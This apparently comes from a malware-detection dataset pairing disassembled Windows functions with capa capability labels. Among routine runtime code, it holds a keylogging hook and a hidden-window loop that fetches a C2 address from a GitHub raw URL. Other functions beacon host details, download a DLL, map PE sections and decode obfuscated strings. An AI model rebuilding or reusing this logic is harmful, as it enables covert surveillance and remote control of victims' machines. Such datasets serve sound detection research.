joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180085170
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180078844
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180078844
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800852bd
cmp rax, 0xffffffffffffffff
je 0x1800852bd
xor edi, edi
test rbp, rbp
jle 0x18008526b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180071e10
mov rbx, rax
test rax, rax
jne 0x1800851f8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180085261
mov edx, 0x8000
mov ecx, r14d
call fcn.180084ff4
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18007528c
cmp eax, 0xffffffff
je 0x180085241
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180085208
mov edx, r15d
mov ecx, r14d
call fcn.180084ff4
jmp 0x180085261
cmp byte [rsi + 0x38], dil
je 0x180085258
cmp dword [rsi + 0x34], 5
jne 0x180085258
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180085261
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180072100
jmp 0x1800852cf
jns 0x1800852cf
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180078844
cmp rax, 0xffffffffffffffff
jne 0x180085289
cmp byte [rsi + 0x30], dil
je 0x1800852cf
jmp 0x1800852c5
mov ecx, r14d
call fcn.180081840
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800852cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800852cf
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800852ca
mov edi, dword [rsi + 0x2c]
jmp 0x1800852cf
mov edi, 0x16
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180078844
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180085af0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180085b18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180085b18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001470
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x840
xor ebx, ebx
xor ecx, ecx
mov qword [rax - 0x18], rbx
mov qword [rax - 0x10], rbx
lea rax, [rsp + 0x60]
mov qword [section..data], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1400014ac
mov eax, 1
add rsp, 0x840
pop rbx
ret
mov qword [rsp + 0x28], rbx
lea r8, [0x140001460]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
lea rdx, [0x140001320]
xor r8d, r8d
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xorps xmm0, xmm0
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x14000153d
nop word [rax + rax]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x140001510
xor eax, eax
add rsp, 0x840
pop rbx
ret
Function at 0x180001000
Capabilities:
Get hostname
Get system information on windows
Query or enumerate registry value
Send data
Send data on socket

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x5b8
mov rax, qword [0x180027340]
xor rax, rsp
mov qword [rsp + 0x5a0], rax
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
cmp eax, 1
je 0x180001058
lea rax, str.x64_bit
mov qword [rsp + 0x48], rax
jmp 0x180001064
lea rax, str.x32_bit
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], 0x100
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x1800010dc
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800270c0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, str.PowerShell_LoadDLL
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x48]
lea r8, [rsp + 0x88]
lea rdx, str._s:_s:_s:_s
lea rcx, [rsp + 0x1a0]
call fcn.180001ac0
lea rcx, [rsp + 0x1a0]
call fcn.180008680
movsxd rcx, dword [rsp + 0x5c0]
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0x1a0]
call qword [sym.imp.WS2_32.dll_send]
xor eax, eax
mov rcx, qword [rsp + 0x5a0]
xor rcx, rsp
call fcn.180004070
add rsp, 0x5b8
ret
Function at 0x180001170
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
mov eax, 0x7a178
call fcn.180004010
sub rsp, rax
mov rax, qword [0x180027340]
xor rax, rsp
mov qword [rsp + 0x7a160], rax
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov r8d, 0x7a120
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.180019d70
movsxd rax, dword [rsp + 0x7a180]
xor r9d, r9d
mov r8d, 0x7a120
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [rsp + 0x40]
call fcn.180008bd0
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x7a188]
mov ecx, dword [rsp + 0x28]
mov dword [rax], ecx
lea rax, str.send_dll
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call fcn.180008680
movsxd rcx, dword [rsp + 0x7a180]
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_send]
mov eax, dword [rsp + 0x28]
inc eax
cdqe
mov rcx, rax
call fcn.18000876c
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x28]
inc eax
cdqe
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.180019d70
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x24], eax
jge 0x18000130c
movsxd rax, dword [rsp + 0x7a180]
xor r9d, r9d
mov r8d, 0x7a120
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
jne 0x1800012a4
lea rcx, str.Error_in_receiving_data._n
call fcn.180001a60
mov rcx, qword [rsp + 0x30]
call fcn.180008758
xor eax, eax
jmp 0x180001311
cmp dword [rsp + 0x20], 0
jne 0x1800012c5
lea rcx, str.Connection_closed_by_the_server._n
call fcn.180001a60
mov rcx, qword [rsp + 0x30]
call fcn.180008758
xor eax, eax
jmp 0x180001311
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rsp + 0x40]
call fcn.1800196d0
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x24], eax
mov edx, dword [rsp + 0x24]
lea rcx, [0x18002714c]
call fcn.180001a60
jmp 0x180001250
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x7a160]
xor rcx, rsp
call fcn.180004070
add rsp, 0x7a178
ret
Function at 0x1800013a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x228
mov rax, qword [0x180027340]
xor rax, rsp
mov qword [rsp + 0x210], rax
lea rdx, [rsp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1800013ec
lea rcx, str.Error:_WSAStartup_failed_n
call fcn.180001a60
mov eax, 1
jmp 0x180001572
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180001423
lea rcx, str.Error:_Failed_to_resolve_host_n
call fcn.180001a60
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180001572
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x200]
call fcn.180008610
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x1800014b0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Error:_Failed_to_create_socket._Error_code:__d_n
call fcn.180001a60
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180001572
mov eax, 2
mov word [rsp + 0x50], ax
lea rcx, [rsp + 0x200]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x238]
call fcn.180008bd0
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x52], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jge 0x18000152d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Error:_Failed_to_connect._Error_code:__d_n
call fcn.180001a60
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180001572
mov ecx, dword [rsp + 0x30]
call section..text
lea rdx, [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
call fcn.180001170
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0x38]
mov r8, rax
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x30]
call fcn.180001330
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.180004070
add rsp, 0x228
ret
Function at 0x180001590
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1088
call fcn.180004010
sub rsp, rax
mov rax, qword [0x180027340]
xor rax, rsp
mov qword [rsp + 0x1070], rax
mov rcx, qword [rsp + 0x1090]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x30], 0
lea rax, str.Mozilla_5.0__Windows_NT_7__Win64__x64_
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x18000162d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_internet_connection._Error_code:__lu_n
call fcn.180001a60
xor eax, eax
jmp 0x1800017a1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x1090]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x18000168a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_URL._Error_code:__lu_n
call fcn.180001a60
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1800017a1
lea r9, [rsp + 0x34]
mov r8d, 0x1000
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180001745
cmp dword [rsp + 0x34], 0
jbe 0x180001745
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov edx, eax
mov rcx, qword [rsp + 0x40]
call fcn.180008774
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x180001706
lea rcx, str.Failed_to_allocate_memory._n
call fcn.180001a60
mov rcx, qword [rsp + 0x40]
call fcn.180008758
mov qword [rsp + 0x40], 0
jmp 0x180001745
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
lea rdx, [rsp + 0x70]
call fcn.1800196d0
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x18000168a
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rsp + 0x30]
inc eax
mov eax, eax
mov ecx, eax
call fcn.18000876c
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
call fcn.1800196d0
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rax], 0
mov rcx, qword [rsp + 0x40]
call fcn.180008758
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x1070]
xor rcx, rsp
call fcn.180004070
add rsp, 0x1088
ret
Function at 0x1800017c0
Capabilities:
Hide graphical window

Disassembly:
sub rsp, 0x58
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x20], 0
xor eax, eax
cmp eax, 1
je 0x1800018e5
xor eax, eax
cmp eax, 1
je 0x180001854
cmp dword [rsp + 0x20], 5
jge 0x180001816
mov rcx, qword [section..data]
call fcn.180001590
mov qword [rsp + 0x28], rax
jmp 0x18000182f
mov rcx, qword [str.https:__raw.githubusercontent.com_DevilBot000_Client_IP_PORT_main_IP_PORT]
call fcn.180001590
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x28], 0
jne 0x180001850
lea rcx, str.Failed_to_get_URL_content._n
call fcn.180001a60
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001852
jmp 0x180001854
jmp 0x1800017f5
lea rdx, [0x1800272ec]
mov rcx, qword [rsp + 0x28]
call fcn.180008728
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1800018c1
lea rdx, [0x1800272f0]
xor ecx, ecx
call fcn.180008728
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
lea rcx, str._s_n_s_n
call fcn.180001a60
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.1800013a0
mov rcx, qword [rsp + 0x28]
call fcn.180008758
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800018d6
mov rcx, qword [rsp + 0x28]
call fcn.180008758
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x1800017ea
xor eax, eax
add rsp, 0x58
ret
Function at 0x180002e50
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x78]
mov rax, qword [rax + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx]
movzx ecx, word [rcx + 0x14]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
jmp 0x180002eb6
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x38]
add rax, 0x28
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x30], eax
jge 0x180003065
mov rax, qword [rsp + 0x38]
cmp dword [rax + 0x10], 0
jne 0x180002f8c
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jle 0x180002f87
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x78]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [rsp + 0x78]
call qword [rax + 0x28]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180002f43
xor eax, eax
jmp 0x18000306a
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 8], eax
movsxd rax, dword [rsp + 0x34]
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.180019d70
jmp 0x180002e9e
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x38]
add eax, dword [rcx + 0x10]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x68]
call fcn.180002e10
test eax, eax
jne 0x180002fb5
xor eax, eax
jmp 0x18000306a
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x78]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
mov rax, qword [rsp + 0x78]
call qword [rax + 0x28]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180003005
xor eax, eax
jmp 0x18000306a
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x60]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x40]
call fcn.1800196d0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 8], eax
jmp 0x180002e9e
mov eax, 1
add rsp, 0x58
ret
Function at 0x180012ad8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180012b08
xor eax, eax
jmp 0x180012bcb
mov rbp, rbx
cmp word [rax], si
je 0x180012b2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180012b14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180012b10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180010f28
movsxd r14, eax
test eax, eax
jne 0x180012b6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180012b01
mov rcx, r14
call fcn.18000e664
mov rdi, rax
test rax, rax
jne 0x180012b84
xor ecx, ecx
call fcn.18000e628
jmp 0x180012b60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180010f28
test eax, eax
jne 0x180012bb5
mov rcx, rdi
call fcn.18000e628
jmp 0x180012bbf
xor ecx, ecx
call fcn.18000e628
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800167f4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001680a
mov al, 1
jmp 0x18001686a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001681b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180016868
mov ecx, dword [rcx + 0x18]
nop
call fcn.180014c30
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180016868
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180016868
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180016868
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18001686a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1800193e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180019408
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180019408
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x14000643c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006260
Function at 0x140007fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
movq qword [rbp], xmm0
mov dword [rbp + 0x10], 0x68
mov eax, dword [rbp + 0x4c]
or ah, 1
mov dword [rbp + 0x4c], eax
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x60], rax
call fcn.140008260
mov r10, qword [0x1400101a8]
mov byte [rbp - 0x30], 0x71
mov byte [rbp - 0x2f], 9
mov byte [rbp - 0x2e], 0x68
mov byte [rbp - 0x2d], 0x62
mov byte [rbp - 0x2c], 0x5f
mov byte [rbp - 0x2b], 0x59
mov byte [rbp - 0x2a], 0x5c
mov byte [rbp - 0x29], 0x56
mov byte [rbp - 0x28], 0x4d
mov byte [rbp - 0x27], 0x48
mov byte [rbp - 0x26], 0x60
mov byte [rbp - 0x25], 0x6e
mov byte [rbp - 0x24], 0x47
mov byte [rbp - 0x23], 0x4c
mov byte [rbp - 0x22], 0x34
mov byte [rbp - 0x21], 0x24
mov byte [rbp - 0x20], 0x2f
mov byte [rbp - 0x1f], 0x70
mov byte [rbp - 0x1e], 0x76
mov byte [rbp - 0x1d], 0x19
mov byte [rbp - 0x1c], 0x25
mov byte [rbp - 0x1b], 0x2a
mov byte [rbp - 0x1a], 0x2c
mov byte [rbp - 0x19], 0x67
mov byte [rbp - 0x18], 0x2f
mov byte [rbp - 0x17], 0x33
mov byte [rbp - 0x16], 0x29
mov byte [rbp - 0x15], 0x4d
lea rax, [rbp - 0x30]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
movzx eax, byte [rax + 0x1b]
test al, al
setne al
test al, al
je 0x14000811a
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x30]
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x7c], 0
jmp 0x140008113
mov eax, dword [rbp + 0x7c]
movsxd rdx, eax
mov rax, qword [rbp + 0x80]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x88]
mov eax, dword [rbp + 0x7c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x7c], 1
cmp dword [rbp + 0x7c], 0x1b
jle 0x1400080be
nop
lea rax, [rbp - 0x30]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x78], 0
jmp 0x14000813c
mov eax, dword [rbp + 0x78]
cdqe
mov byte [rbp + rax - 0x30], 0
add dword [rbp + 0x78], 1
cmp dword [rbp + 0x78], 0x1b
jle 0x14000812e
nop
mov rax, qword [rbp + 0x98]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call r10
test eax, eax
setne al
test al, al
je 0x1400081d4
mov r8, qword [0x1400101c8]
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
call r8
